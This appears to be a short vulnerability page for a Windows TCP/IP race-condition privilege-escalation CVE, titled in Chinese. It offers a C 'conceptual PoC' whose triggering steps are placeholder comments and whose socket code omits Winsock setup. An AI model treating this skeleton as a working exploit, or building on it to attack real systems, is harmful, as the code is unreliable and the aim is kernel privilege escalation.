CVE-2026-34351 Windows TCP/IP竞态条件本地提权漏洞

/* * Conceptual PoC for CVE-2026-34351 (Race Condition in Windows TCP/IP) * This code attempts to trigger a race condition in the kernel driver. * Compile with: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> HANDLE hEvent1, hEvent2; DWORD WINAPI ThreadFunc1(LPVOID lpParam) { // Simulate Trigger 1: Socket operation that allocates memory SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // ... perform specific ioctl or bind operation ... SetEvent(hEvent1); WaitForSingleObject(hEvent2, INFINITE); // ... release memory ... closesocket(s); return 0; } DWORD WINAPI ThreadFunc2(LPVOID lpParam) { // Simulate Trigger 2: Operation that frees/modifies memory concurrently WaitForSingleObject(hEvent1, INFINITE); // ... perform conflicting operation ... // This attempts to hit the race window SetEvent(hEvent2); return 0; } int main() { hEvent1 = CreateEvent(NULL, FALSE, FALSE, NULL); hEvent2 = CreateEvent(NULL, FALSE, FALSE, NULL); HANDLE hThreads[2]; hThreads[0] = CreateThread(NULL, 0, ThreadFunc1, NULL, 0, NULL); hThreads[1] = CreateThread(NULL, 0, ThreadFunc2, NULL, 0, NULL); WaitForMultipleObjects(2, hThreads, TRUE, INFINITE); printf("Race condition attempt executed.\n"); return 0; }